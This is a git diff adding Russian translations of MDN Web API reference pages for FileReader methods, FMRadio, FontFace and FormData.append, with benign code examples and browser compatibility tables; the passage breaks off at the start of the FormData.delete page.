+slug: Web/API/FileReader/onabort
+translation_of: Web/API/FileReader/onabort
+---
+<p>Значением свойства <strong><code>FileReader.onabort</code></strong> является функция которая вызывается в случае если срабатывает событие <a href="/ru/docs/Web/Events/abort">abort</a>, например когда процесс чтения файла прерывается по каким-либо причинам.  </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">reader.onabort = function() { ... };</pre>
diff --git a/files/ru/web/api/filereader/readasarraybuffer/index.html b/files/ru/web/api/filereader/readasarraybuffer/index.html
new file mode 100644
index 0000000000..77fd35b3b4
--- /dev/null
+++ b/files/ru/web/api/filereader/readasarraybuffer/index.html
@@ -0,0 +1,110 @@
+---
+title: FileReader.readAsArrayBuffer()
+slug: Web/API/FileReader/readAsArrayBuffer
+tags:
+  - API
+  - DOM
+  - File API
+  - Reference
+  - readAsArrayBuffer
+  - Файлы
+  - метод
+translation_of: Web/API/FileReader/readAsArrayBuffer
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>Метод <strong><code>readAsArrayBuffer</code></strong> используется для чтения содержимого файла, представленного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершается, {{domxref("FileReader.readyState","readyState")}} принимает значение <code>DONE</code>, и наступает событие {{event("loadend")}}. В то же время в {{domxref("FileReader.result","result")}} помещается информация о файле в виде {{domxref("ArrayBuffer")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsArrayBuffer(<em>blob</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>{{domxref("Blob")}} или {{domxref("File")}}, информацию из которого необходимо прочитать.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлетворения условий</span> <span class="alt-edited">спецификации</span></span>. До Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> возвращало объект {{domxref("FileError")}}. Этот интерфейс был удален и теперь <code>FileReader.error</code> возвращает объект {{domxref("DOMError")}} как это определено в последнем драфте FileAPI.</p>
+
+<p>[2] IE9 имеет <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera <a href="http://www.opera.com/docs/specs/presto28/file/">частично поддерживает</a> в версии 11.1.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/readasbinarystring/index.html b/files/ru/web/api/filereader/readasbinarystring/index.html
new file mode 100644
index 0000000000..f32be8f61b
--- /dev/null
+++ b/files/ru/web/api/filereader/readasbinarystring/index.html
@@ -0,0 +1,113 @@
+---
+title: FileReader.readAsBinaryString()
+slug: Web/API/FileReader/readAsBinaryString
+translation_of: Web/API/FileReader/readAsBinaryString
+---
+<div>{{APIRef("File API")}} {{non-standard_header}}</div>
+
+<p>Метод <code>readAsBinaryString</code> используется для начала считывания содержимого определенного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырыебинарные данные из файла.</p>
+
+<p>Заметьте, что этот метод  устарел (12 July 2012 Working Draft from the W3C.)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsBinaryString(blob);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>The {{domxref("Blob")}} or {{domxref("File")}} from which to read.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var canvas = document.createElement('canvas');
+var height = 200;
+var width  = 200;
+
+canvas.width  = width;
+canvas.height = height;
+
+var ctx = canvas.getContext('2d');
+
+ctx.strokeStyle = '#090';
+ctx.beginPath();
+ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
+ctx.stroke();
+
+canvas.toBlob(function (blob) {
+  var reader = new FileReader();
+
+  reader.onloadend = function () {
+    console.log(reader.result);
+  }
+
+  reader.readAsBinaryString(blob);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Этот метод был удален из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatNo}}</td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p>
+
+<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/readasdataurl/index.html b/files/ru/web/api/filereader/readasdataurl/index.html
new file mode 100644
index 0000000000..fe755489e9
--- /dev/null
+++ b/files/ru/web/api/filereader/readasdataurl/index.html
@@ -0,0 +1,64 @@
+---
+title: FileReader.readAsDataURL()
+slug: Web/API/FileReader/readAsDataURL
+translation_of: Web/API/FileReader/readAsDataURL
+---
+<p>{{APIRef("File API")}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Метод </font>readAsDataURL</code> используется для чтения содержимог указанного {{domxref("Blob")}} или {{domxref("File")}}.Когда операция закончится, {{domxref("FileReader.readyState","readyState")}} примет значение <code>DONE</code>, и будет вызвано событие {{event("loadend")}}. В то же время, аттрибут  {{domxref("FileReader.result","result")}} будет содержать данные<code> как URL, представляющий файл, кодированый в</code> base64 строку.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>{{domxref("Blob")}} или{{domxref("File")}} которые следует прочитать.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
+&lt;img src="" height="200" alt="Image preview..."&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.onloadend = function () {
+    preview.src = reader.result;
+  }
+
+  if (file) {
+    reader.readAsDataURL(file);
+  } else {
+    preview.src = "";
+  }
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80", "100%", 240)}}</p>
+
+<div class="note"><strong>Примечание:</strong> <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a> конструктор не поддерживается Internet Explorer до 10 версии. Для полностью совместимого решения прочтите <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">crossbrowser possible solution for image preview</a>. Смотрите так же <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">this more powerful example</a>.</div>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Спецификации</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Specifications")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/readastext/index.html b/files/ru/web/api/filereader/readastext/index.html
new file mode 100644
index 0000000000..fef33b109d
--- /dev/null
+++ b/files/ru/web/api/filereader/readastext/index.html
@@ -0,0 +1,50 @@
+---
+title: FileReader.readAsText()
+slug: Web/API/FileReader/readAsText
+translation_of: Web/API/FileReader/readAsText
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Метод <strong><code>readAsText()</code></strong> используется для чтения содержимог указанного {{domxref("Blob")}} или {{domxref("File")}}. Когда операция закончится, {{domxref("FileReader.readyState","readyState")}} примет значение <code>DONE</code>  и будет вызвано событие {{event("loadend")}}. В то же время, аттрибут {{domxref("FileReader.result","result")}} будет содержать данные файла как строку.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>{{domxref("Blob")}} или {{domxref("File")}} которые следует прочитать.</dd>
+ <dt><code>encoding</code> {{optional_inline}}</dt>
+ <dd>Строка, обозначающая кодировку используемую для возращаемых данных. По умолчанию используется UTF-8, если параметр не указан.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FileReader.readAsText")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/fmradio/index.html b/files/ru/web/api/fmradio/index.html
new file mode 100644
index 0000000000..0d889f3956
--- /dev/null
+++ b/files/ru/web/api/fmradio/index.html
@@ -0,0 +1,94 @@
+---
+title: FMRadio
+slug: Web/API/FMRadio
+translation_of: Archive/B2G_OS/API/FMRadio
+---
+<p>{{ APIRef("FMRadio API")}}{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('installed') }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>WebFM API предоставляет доступ к модулю FM радио устройства. Этот интерфейс поможет Вам включить или выключить FM радио и настроить его на нужную станцию. Это достижимо с помощью параметра {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}}.</p>
+
+<h2 id="Обзор_API">Обзор API</h2>
+
+<pre>interface FMRadio : EventTarget {
+   readonly attribute boolean enabled;
+   readonly attribute boolean antennaAvailable;
+   readonly attribute double frequency;
+   readonly attribute double frequencyUpperBound;
+   readonly attribute double frequencyLowerBound;
+   readonly attribute double channelWidth;
+
+   attribute Function onantennaavailablechange;
+   attribute Function onfrequencychange;
+   attribute Function onenabled;
+   attribute Function ondisabled;
+
+   DOMRequest enable(double frequency);
+   DOMRequest disable();
+   DOMRequest setFrequency(double frequency);
+   DOMRequest seekUp();
+   DOMRequest seekDown();
+   DOMRequest cancelSeek();
+}</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt>{{domxref("FMRadio.enabled")}}</dt>
+ <dd>Показывает играет ли радио</dd>
+ <dt>{{domxref("FMRadio.antennaAvailable")}}</dt>
+ <dd>Показывает доступна ли антенна</dd>
+ <dt>{{domxref("FMRadio.frequency")}}</dt>
+ <dd>Текущая частота радио.</dd>
+ <dt>{{domxref("FMRadio.frequencyUpperBound")}}</dt>
+ <dd>Максимальная частота по которой можно найти радиостанцию</dd>
+ <dt>{{domxref("FMRadio.frequencyLowerBound")}}</dt>
+ <dd>Минимальная частота по которой можно найти радиостанцию</dd>
+ <dt>{{domxref("FMRadio.channelWidth")}}</dt>
+ <dd>Частота текущей радиостанции, в МГц.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("FMRadio.onenabled")}}</dt>
+ <dd>A handler for the {{event("enabled")}} event; It is triggered when the radio has been turned on</dd>
+ <dt>{{domxref("FMRadio.ondisabled")}}</dt>
+ <dd>A handler for the {{event("disabled")}} event; It is triggered when the radio has been turned off</dd>
+ <dt>{{domxref("FMRadio.onantennaavailablechange")}}</dt>
+ <dd>A handler for the {{event("antennaavailablechange")}} event; It is triggered when an antenna is plugged or unplugged</dd>
+ <dt>{{domxref("FMRadio.onfrequencychange")}}</dt>
+ <dd>A handler for the {{event("frequencychange")}} event; It is triggered whenever the radio frequency is changed</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("FMRadio.enable()")}}</dt>
+ <dd>Turns on the radio on the given frequency. This function throws if called with no argument. Returns a {{domxref("DOMRequest")}} for the success or error of the operation.</dd>
+ <dt>{{domxref("FMRadio.disable()")}}</dt>
+ <dd>Turns the radio off. Returns a {{domxref("DOMRequest")}} which success indicates that the radio has properly been disabled</dd>
+ <dt>{{domxref("FMRadio.setFrequency()")}}</dt>
+ <dd>Asynchronously changes the radio frequency. The value has to be between <code>frequencyLowerBound</code> and <code>frequencyUpperBound</code>. Trying to set outside the bounds results in an error.</dd>
+ <dd>Returns a {{domxref("DOMRequest")}} which success indicates the frequency has properly been changed.</dd>
+ <dt>{{domxref("FMRadio.seekUp()")}}</dt>
+ <dd>Asks the radio to find a new frequency (usually greater than the current one). If one is successfully found, a <code>frequencychange</code> event is fired. Returns a {{domxref("DOMRequest")}} which success indicates that the search has started. The search circles back to lower frequencies when the highest frequency has been reached.</dd>
+ <dt>{{domxref("FMRadio.seekDown()")}}</dt>
+ <dd>Same as above, but searching in frequencies lower than the current one. The search cirlces back to higher frequencies when the lowest frequency has been reached.</dd>
+ <dt>{{domxref("FMRadio.cancelSeek()")}}</dt>
+ <dd>Cancels the radio seek if one was happening. Returns a {{domxref("DOMRequest")}} which success indicates that the frequency search has been cancelled.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Ещё нет спецификаций.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ru/docs/WebAPI/WebFM_API" title="/ru/docs/WebAPI/WebFM_API">WebFM API</a></li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">Gaia radio app</a></li>
+</ul>
diff --git a/files/ru/web/api/fontface/index.html b/files/ru/web/api/fontface/index.html
new file mode 100644
index 0000000000..9d3220ee74
--- /dev/null
+++ b/files/ru/web/api/fontface/index.html
@@ -0,0 +1,79 @@
+---
+title: FontFace
+slug: Web/API/FontFace
+tags:
+  - Интерфейс
+  - Шрифты
+translation_of: Web/API/FontFace
+---
+<p>{{APIRef("CSS Font Loading API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <code><strong>FontFace</strong></code> представляет единый используемый шрифт. Он позволяет контролировать источник шрифта, являющийся URL-адресом внешнего ресурса или буфера; а также контролировать момент загрузки шрифта и его текущее состояние.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("FontFace.FontFace", "FontFace()")}}</dt>
+ <dd>Создает и возвращает новый объект <code>FontFace</code>, созданный из внешнего ресурса, описаннного  URL-адресом или из {{domxref("ArrayBuffer")}}.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не наследует свойства.</em></p>
+
+<dl>
+ <dt>{{domxref("FontFace.display")}}</dt>
+ <dd>{{domxref("CSSOMString")}} определяет способ отображения шрифта, основываясь на информации о статусе его загрузки и готовности к использованию.</dd>
+ <dt>{{domxref("FontFace.family")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает <em>семейство</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-family", "font-family")}}.</dd>
+ <dt>{{domxref("FontFace.featureSettings")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает редко используемые возможности шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}.</dd>
+ <dt>{{domxref("FontFace.loaded")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("Promise")}}, которое выполняется для текущего объекта  <code>FontFace</code>, когда специфичный шрифт, указанный в конструкторе объекта, завершает загрузку, либо отклоняется с помощью <code>SyntaxError</code>.</dd>
+ <dt>{{domxref("FontFace.status")}} {{readonlyinline}}</dt>
+ <dd>Возвращает перечисляемое значение, указывающее на состояние шрифта : <code>"unloaded"</code>, <code>"loading"</code>, <code>"loaded"</code>, или <code>"error"</code>.</dd>
+ <dt>{{domxref("FontFace.stretch")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает свойство <em>растягивания </em>шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-stretch", "font-stretch")}}.</dd>
+ <dt>{{domxref("FontFace.style")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает <em>стиль</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-style", "font-style")}}.</dd>
+ <dt>{{domxref("FontFace.unicodeRange")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает<em> диапазон точек кодирования Юникод</em>, охватывающих шрифт. Эквивалентен дескриптору {{cssxref("@font-face/unicode-range", "unicode-range")}}.</dd>
+ <dt>{{domxref("FontFace.variant")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает <em>вариант</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-variant", "font-variant")}}.</dd>
+ <dt>{{domxref("FontFace.weight")}}</dt>
+ <dd>{{domxref("CSSOMString")}} содежит <em>толщину</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-weight", "font-weight")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не наследует методы.</em></p>
+
+<dl>
+ <dt>{{domxref("FontFace.load()")}}</dt>
+ <dd>Загружает шрифт, основываясь на переданных требованиях конструктора текущего объекта, включая расположение или ресурсный буфер, и возврящает {{jsxref('Promise')}}, которое выполнятеся для текущего объекта FontFace.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">оммнтари</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Font Loading','#FontFace-interface','FontFaceSet')}}</td>
+   <td>{{Spec2('CSS3 Font Loading')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.FontFace")}}</p>
+</div>
diff --git a/files/ru/web/api/formdata/append/index.html b/files/ru/web/api/formdata/append/index.html
new file mode 100644
index 0000000000..10c6a75f26
--- /dev/null
+++ b/files/ru/web/api/formdata/append/index.html
@@ -0,0 +1,180 @@
+---
+title: FormData.append()
+slug: Web/API/FormData/append
+translation_of: Web/API/FormData/append
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>append()</strong></code> из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта <code>FormData</code>, или создает ключ, в случае если он отсутствует.</p>
+
+<p>Разница между {{domxref("FormData.set")}} и <code>append()</code> в том, что если заданный ключ уже существует, {{domxref("FormData.set")}} заменит данные в нем на новые, а <code>append()</code> добавит новое значение к остальным в конец.</p>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Примечание</strong></span>: Данный метод также доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Существует две формы использования данной функции: с двумя и тремя параметрами:</p>
+
+<pre class="brush: js">formData.append(name, value);
+formData.append(name, value, filename);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя поля, которое будет содержать данные из <code>value</code>.</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в нее конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошел проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Если вы укажете {{domxref("Blob")}} в качестве данных для включения в объект <code>FormData</code>, имя файла будет указано для сервера в заголовке "Content-Disposition" и может отличаться от браузера к браузеру.</p>
+</div>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Пустота.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данная строка кода создает пустой <code>FormData</code> объект:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>Вы можете добавлять пару ключ/значение с помощью {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<p>Также вы можете использовать обозначения массива для первого аргумента:</p>
+
+<pre class="brush: js">formData.append('userpic[]', myFileInput1.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput2.files[0], 'chris2.jpg');</pre>
+
+<p>Эта техника позволяет упростить мультифайловую загрузку данных потому, что в результате структура данных является более благоприятной для цикла.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Заметки</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка">Поддержка</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>append with filename</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}<sup>[1]</sup></td>
+   <td>1.0.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>12</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>append with filename</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 7.0 {{geckoRelease("7.0")}}, if you specified a {{domxref("Blob")}} as the data to append to the object, the filename reported in the "Content-Disposition" HTTP header was an empty string; this resulted in errors being reported by some servers. Starting in Gecko 7.0 the filename "blob" is sent.</p>
+
+<p>[2] XHR в Android 4.0 отправляет пустое содерживое FormData с blob.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/delete/index.html b/files/ru/web/api/formdata/delete/index.html
new file mode 100644
index 0000000000..7335145f86
--- /dev/null
+++ b/files/ru/web/api/formdata/delete/index.html
@@ -0,0 +1,138 @@
+---
+title: FormData.delete()
+slug: Web/API/FormData/delete
+translation_of: Web/API/FormData/delete
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>delete()</strong></code> интерфейса {{domxref("FormData")}} удаляет ключ и его зачение(-ия) из объекта <code>FormData</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
